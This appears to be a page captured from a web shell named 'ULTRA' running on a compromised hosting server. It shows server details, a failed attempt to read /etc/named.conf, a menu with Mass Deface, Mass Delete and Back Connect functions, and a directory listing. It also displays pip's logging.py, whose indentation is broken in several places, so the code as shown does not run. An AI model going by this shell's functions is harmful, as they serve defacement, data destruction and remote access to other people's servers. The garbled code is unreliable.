ULTRA [ vsambulanceservice.com ]

Linux vps122157.inmotionhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64

Apache/2.4.62 (Unix) OpenSSL/1.1.1k

199.250.210.201 | Your IP: 216.73.216.228

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ usr / lib / python3.6 / site-packages / pip / utils /

Home Upload Mass Deface Mass Delete Back Connect Notify

logging.py

from __future__ import absolute_import

import contextlib
import logging
import logging.handlers
import os

try:
    import threading
except ImportError:
    import dummy_threading as threading

from pip.compat import WINDOWS
from pip.utils import ensure_dir

try:
    from pip._vendor import colorama
# Lots of different errors can come from this, including SystemError and
# ImportError.
except Exception:
    colorama = None

_log_state = threading.local()
_log_state.indentation = 0

@contextlib.contextmanager
def indent_log(num=2):
    """
    A context manager which will cause the log output to be indented for any
    log messages emitted inside it.
    """
    _log_state.indentation += num
    try:
        yield
    finally:
        _log_state.indentation -= num

def get_indentation():
    return getattr(_log_state, 'indentation', 0)

class IndentingFormatter(logging.Formatter):

def format(self, record):
        """
        Calls the standard formatter, but will indent all of the log messages
        by our current indentation level.
        """
        formatted = logging.Formatter.format(self, record)
        formatted = "".join([
            (" " * get_indentation()) + line
            for line in formatted.splitlines(True)
        ])
        return formatted

def _color_wrap(*colors):
    def wrapped(inp):
        return "".join(list(colors) + [inp, colorama.Style.RESET_ALL])
    return wrapped

class ColorizedStreamHandler(logging.StreamHandler):

# Don't build up a list of colors if we don't have colorama
    if colorama:
        COLORS = [
            # This needs to be in order from highest logging level to lowest.
            (logging.ERROR, _color_wrap(colorama.Fore.RED)),
            (logging.WARNING, _color_wrap(colorama.Fore.YELLOW)),
        ]
    else:
        COLORS = []

def __init__(self, stream=None):
        logging.StreamHandler.__init__(self, stream)

if WINDOWS and colorama:
            self.stream = colorama.AnsiToWin32(self.stream)

def should_color(self):
        # Don't colorize things if we do not have colorama
        if not colorama:
            return False

real_stream = (
            self.stream if not isinstance(self.stream, colorama.AnsiToWin32)
            else self.stream.wrapped
        )

# If the stream is a tty we should color it
        if hasattr(real_stream, "isatty") and real_stream.isatty():
            return True

# If we have an ASNI term we should color it
        if os.environ.get("TERM") == "ANSI":
            return True

# If anything else we should not color it
        return False

def format(self, record):
        msg = logging.StreamHandler.format(self, record)

if self.should_color():
            for level, color in self.COLORS:
                if record.levelno >= level:
                    msg = color(msg)
                    break

return msg

class BetterRotatingFileHandler(logging.handlers.RotatingFileHandler):

def _open(self):
        ensure_dir(os.path.dirname(self.baseFilename))
        return logging.handlers.RotatingFileHandler._open(self)

class MaxLevelFilter(logging.Filter):

def __init__(self, level):
        self.level = level

def filter(self, record):
        return record.levelno < self.level

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2025-03-06 10:45:23
..	dir	-	root/root	drwxr-xr-x	2025-03-06 10:45:23
__pycache__	dir	-	root/root	drwxr-xr-x	2025-03-06 10:45:23
__init__.py	text/x-script.python	27.11 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
appdirs.py	text/plain	8.6 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
build.py	text/x-script.python	1.28 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
deprecation.py	text/plain	2.18 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
encoding.py	text/x-script.python	971 B	root/root	-rw-r--r--	2024-04-06 01:40:45
filesystem.py	text/x-script.python	899 B	root/root	-rw-r--r--	2024-04-06 01:40:45
glibc.py	text/x-script.python	2.87 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
hashes.py	text/x-script.python	2.8 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
logging.py	text/x-script.python	3.25 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
outdated.py	text/x-script.python	5.85 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
packaging.py	text/x-script.python	2.03 KB	root/root	-rw-r--r--	2024-04-06 01:40:45
setuptools_build.py	text/plain	278 B	root/root	-rw-r--r--	2024-04-06 01:40:45
ui.py	text/x-script.python	11.33 KB	root/root	-rw-r--r--	2024-04-06 01:40:45